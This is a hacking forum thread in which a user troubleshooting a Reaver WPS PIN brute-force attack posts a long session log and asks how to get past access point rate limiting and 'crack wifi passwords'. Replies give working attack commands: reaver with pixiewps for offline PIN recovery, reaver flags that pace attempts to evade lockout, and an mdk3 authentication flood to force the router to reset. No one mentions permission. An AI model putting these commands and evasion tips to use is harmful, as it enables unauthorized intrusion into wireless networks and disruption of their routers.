Pages: [1]

Author Topic: reaver - further course of action  (Read 2627 times)

0 Members and 3 Guests are viewing this topic.

Offline flex0r

  • NULL
  • Posts: 2
  • Cookies: 0
    • View Profile
reaver - further course of action
« on: October 19, 2015, 04:06:05 pm »
Hey folks,

I have a problem with reaver. After a while I get "AP rate limiting". I think I have to change my settings but I don't know how. I hope you can help me. If you think you have interesting tutorials which can help me, feel free to post them.

Thank you in advance for your help!

Code: [Select]
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg

[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Nothing done, nothing to save.
[+] 0.00% complete. Elapsed time: 0d0h0m35s.
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1
[+] Pin count advanced: 1. Max pin attempts: 11000
[+] Trying pin 00005678.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 2
[+] Pin count advanced: 2. Max pin attempts: 11000
[+] Trying pin 01235678.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 3
[+] Pin count advanced: 3. Max pin attempts: 11000
[+] Trying pin 11115670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 4
[+] Pin count advanced: 4. Max pin attempts: 11000
[+] Trying pin 22225672.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 5
[+] Pin count advanced: 5. Max pin attempts: 11000
[+] 0.05% complete. Elapsed time: 0d0h0m54s.
[+] Estimated Remaining time: 0d9h9m45s
[+] Trying pin 33335674.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 6
[+] Pin count advanced: 6. Max pin attempts: 11000
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 0.05% complete. Elapsed time: 0d0h1m20s.
[+] Estimated Remaining time: 3d7h24m4s
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 7
[+] Pin count advanced: 7. Max pin attempts: 11000
[+] Trying pin 55555678.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 8
[+] Pin count advanced: 8. Max pin attempts: 11000
[+] 0.07% complete. Elapsed time: 0d0h1m45s.
[+] Estimated Remaining time: 1d12h38m24s
[+] Trying pin 66665670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 9
[+] Pin count advanced: 9. Max pin attempts: 11000
[+] Trying pin 77775672.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 10
[+] Pin count advanced: 10. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^C
[+] Session saved.

« Last Edit: October 19, 2015, 04:07:32 pm by flex0r »
Report to moderator   Logged

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: reaver - further course of action
« Reply #1 on: October 19, 2015, 04:12:36 pm »
This simply looks like a router that isnt vuln , not sure who dug you up and why they waited all these years but this attack is considered old and patched for the most part.
« Last Edit: October 19, 2015, 04:13:11 pm by proxx »
Report to moderator   Logged
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline flex0r

  • NULL
  • Posts: 2
  • Cookies: 0
    • View Profile
Re: reaver - further course of action
« Reply #2 on: October 19, 2015, 04:19:52 pm »
But reaver successfully tested some pins? Don't get me wrong, I just want to understand why.

Is there another method to crack wifi passwords?
Report to moderator   Logged

Offline white-knight

  • Knight
  • **
  • Posts: 190
  • Cookies: 26
    • View Profile
Re: reaver - further course of action
« Reply #3 on: October 19, 2015, 05:52:27 pm »
Spend that money and just get the reaver pro , guaranteed to still not crack shit  :o


http://www.reaversystems.com/products/reaver-pro-ii
Report to moderator   Logged

Offline 0E 800

  • Not a VIP
  • VIP
  • Baron
  • *
  • Posts: 895
  • Cookies: 131
  • • тнε ιηтεяηεт ιs мү яεcүcℓε-вιη •
    • View Profile
Re: reaver - further course of action
« Reply #4 on: October 19, 2015, 06:09:46 pm »
I have a reaver pro, its shit. Your reaver IS working. You can see its trying the pins.
You are just going to have to wait for it to run its course.

I put up a review of Reaver Pro vs ReVdK3-r1 script.

https://www.youtube.com/watch?v=zf93xJ7xD2k

Also worth checking out is HT-WPS-Breaker.
https://github.com/SilentGhostX/HT-WPS-Breaker
Report to moderator   Logged
The invariable mark of wisdom is to see the miraculous in the common.

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: reaver - further course of action
« Reply #5 on: October 19, 2015, 06:27:40 pm »
Quote from: flex0r on October 19, 2015, 04:19:52 pm
But reaver successfully tested some pins? Don't get me wrong, I just want to understand why.

Is there another method to crack wifi passwords?
My bad , I didnt read all the way through.
Try lowering the rate to a few seconds, that does the trick in most cases.
« Last Edit: October 19, 2015, 06:29:07 pm by proxx »
Report to moderator   Logged
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: reaver - further course of action
« Reply #6 on: October 19, 2015, 06:38:56 pm »
Furthermore you can attempt to use reaver with pixiewps, if the routers vulnerable you'll have WPS pin in no time. Check the link in my signature for my tutorial on using reaver and pixiewps to do an offline bruteforce of the pin.

The short version is to run reaver as:
reaver -i <monitorinterface> -b <targetbssid> -c <channel> -vvv

Stop reaver after you receive ehash2 (M4 message) and then plug in the values for pixiewps, enonce, rnonce, authkey, ehash1, and ehash2. If the routers vulnerable you'll get the pin and then run:
reaver -i <monitorinterface> -b <targetbssid> -c <channel> -vvv --pin=12345678
Report to moderator   Logged
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Biokinetix

  • /dev/null
  • *
  • Posts: 7
  • Cookies: 0
    • View Profile
Re: reaver - further course of action
« Reply #7 on: January 25, 2016, 12:40:15 pm »
you could try mdk3 to try and reset the router after it locks up or rate limits. try:

mdk3 wlan1mon a -a <MAC> -m

unfortunately if it does work, it only resets the router so reaver can have another go but it will do the same again.

Also you can play around with some of reaver's commands. try the following command which worked for me in the passed:

reaver -i wlan1mon -b <AP BSSID> -c <channel number> -a -L --dh-small -vv -d 5

Takes a long time but you should eventualy crack it. hope it helps
Report to moderator   Logged
Pages: [1]